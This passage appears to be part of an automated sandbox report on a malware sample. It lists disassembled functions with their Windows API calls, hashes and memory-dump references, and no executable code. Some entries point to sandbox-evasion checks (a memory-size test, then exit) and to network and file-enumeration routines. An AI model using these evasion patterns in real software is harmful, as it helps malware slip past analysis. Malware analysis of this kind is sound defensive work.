Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 4c051766b4d92867d0549b9241f493464c6c9da998c1f1d81b6737f8303047b4
Instruction ID: 916e929d257b72a6053d2e90569ca8ac73320b2e7f8d870396c45600ed3c8f93
Opcode Fuzzy Hash: 4c051766b4d92867d0549b9241f493464c6c9da998c1f1d81b6737f8303047b4
Instruction Fuzzy Hash: 71F03470A4022AABE790EBE09C2ABBE7A34FB14701F104915B503E11D1EBB05561DAA7

Function 007F47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 007F4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 007F4849

Strings

<, xrefs: 007F47C9

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: f30d97d3dfbf85e3af4e01303fc379e5edb51e203c89a081b365e35000198be7
Instruction ID: 193b264617bd5d0cf8229da4a0537a3267f9716f927aa198565b942f44832469
Opcode Fuzzy Hash: f30d97d3dfbf85e3af4e01303fc379e5edb51e203c89a081b365e35000198be7
Instruction Fuzzy Hash: 79213EB1D00209ABDF14DFA4EC49ADE7B74FB44320F108625F959A72D1EB706A05CB92

Function 008051F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0080A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0080A7E6

Part of subcall function 007F6280: InternetOpenA.WININET(00810DFE,00000001,00000000,00000000,00000000), ref: 007F62E1
Part of subcall function 007F6280: StrCmpCA.SHLWAPI(?,0135E968), ref: 007F6303
Part of subcall function 007F6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 007F6335
Part of subcall function 007F6280: HttpOpenRequestA.WININET(00000000,GET,?,0135E020,00000000,00000000,00400100,00000000), ref: 007F6385
Part of subcall function 007F6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 007F63BF
Part of subcall function 007F6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 007F63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00805228

Strings

ERROR, xrefs: 0080521A
ERROR, xrefs: 00805273

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: bc9169184898a02341424d8f214fd1ab027bc978370e55fa1f76b52e44e820c7
Instruction ID: b034682c3f3b6c91b4dd67539f9ea2d64e5265ad8ceeabddb675df5ff48a74ec
Opcode Fuzzy Hash: bc9169184898a02341424d8f214fd1ab027bc978370e55fa1f76b52e44e820c7
Instruction Fuzzy Hash: 0111EF71910248A6DB58FF68DD96EED7378FF50300F808168F91A975D2EF346B05CA92

Function 007F1220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 007F123E
ExitProcess.KERNEL32 ref: 007F1294

Strings

@, xrefs: 007F1233

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: bde645875094ecd85065f82058d7295ddae0289723f84de4de7dcfb52f51f3a1
Instruction ID: fc1a5a5ca59b9a53c19696c133834ab70907b51ede3ae66d189fc21d693b1801
Opcode Fuzzy Hash: bde645875094ecd85065f82058d7295ddae0289723f84de4de7dcfb52f51f3a1
Instruction Fuzzy Hash: 7401FBB0A44308EAEB10EBE4CC49BAEBB78FB14705F608049F705F62C1D7785545879A

Function 00804F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00808DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00808E0B

lstrcat.KERNEL32(?,00000000), ref: 00804F7A
lstrcat.KERNEL32(?,00811070), ref: 00804F97
lstrcat.KERNEL32(?,013591C8), ref: 00804FAB
lstrcat.KERNEL32(?,00811074), ref: 00804FBD

Part of subcall function 00804910: wsprintfA.USER32 ref: 0080492C
Part of subcall function 00804910: FindFirstFileA.KERNEL32(?,?), ref: 00804943

Part of subcall function 00804910: StrCmpCA.SHLWAPI(?,00810FDC), ref: 00804971
Part of subcall function 00804910: StrCmpCA.SHLWAPI(?,00810FE0), ref: 00804987
Part of subcall function 00804910: FindNextFileA.KERNEL32(000000FF,?), ref: 00804B7D
Part of subcall function 00804910: FindClose.KERNEL32(000000FF), ref: 00804B92

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: f035914d6923a4c6e853e76e91b2ce6f39ea8b4ca705890a62586184f2d01589
Instruction ID: d08c176c76f0dfff83dcd6cb1971fb5e620ad4876b6ba73690f06e62287addeb
Opcode Fuzzy Hash: f035914d6923a4c6e853e76e91b2ce6f39ea8b4ca705890a62586184f2d01589
Instruction Fuzzy Hash: EA21B676900218ABC754FBA4DC46EE9333CFB64300F404554B6DAD31D1EE759AC98B93

Function 00800740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01359188), ref: 0080079A
StrCmpCA.SHLWAPI(00000000,01359208), ref: 00800866
StrCmpCA.SHLWAPI(00000000,013591D8), ref: 0080099D

Part of subcall function 0080A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0080A7E6

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: a2ebe13bcd7c4498780c572fcecfa9cdf171e750012cfa9c41c9ba5f296689f2
Instruction ID: 070f357fbd048a4e7ed0f734f1d148ee074f67ee997c2ab1531f132420434d1b
Opcode Fuzzy Hash: a2ebe13bcd7c4498780c572fcecfa9cdf171e750012cfa9c41c9ba5f296689f2
Instruction Fuzzy Hash: 0D914675B102089FCB58EF68DD95BED77B5FF94300F508519E84A9B281DA309A06CB92

Function 00800765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01359188), ref: 0080079A
StrCmpCA.SHLWAPI(00000000,01359208), ref: 00800866
StrCmpCA.SHLWAPI(00000000,013591D8), ref: 0080099D

Part of subcall function 0080A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0080A7E6

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: c9f329b85d1d85eaf0d9117791e026b1cc1f64c91a59683d4d6db482a7cb26a9
Instruction ID: 81d69fadd6075a89df1eca69d936c215635b2de02ca9d189ead909a9df6789ab
Opcode Fuzzy Hash: c9f329b85d1d85eaf0d9117791e026b1cc1f64c91a59683d4d6db482a7cb26a9
Instruction Fuzzy Hash: 2A814675B102089FCB5CEF68DD95AEDB7B5FF94300F50C529E8499B291DB309A06CB82

Function 00809470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00809484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 008094A5
CloseHandle.KERNEL32(00000000), ref: 008094AF

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: e5981ff2bc3f48723916b699ccbd16b693e98460a7ea7c1cd8ab9207f6736916
Instruction ID: 9ea30322be9ea7f6028c3feb20d568e072c75850c914fe868d2ae651789ce9a9
Opcode Fuzzy Hash: e5981ff2bc3f48723916b699ccbd16b693e98460a7ea7c1cd8ab9207f6736916
Instruction Fuzzy Hash: 6FF03A7590020CABDB04DFA4DC4AFE97778EB08700F008498BA4997290D6B06A86CB91

Function 007F1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 007F112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 007F1132
ExitProcess.KERNEL32 ref: 007F1143

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
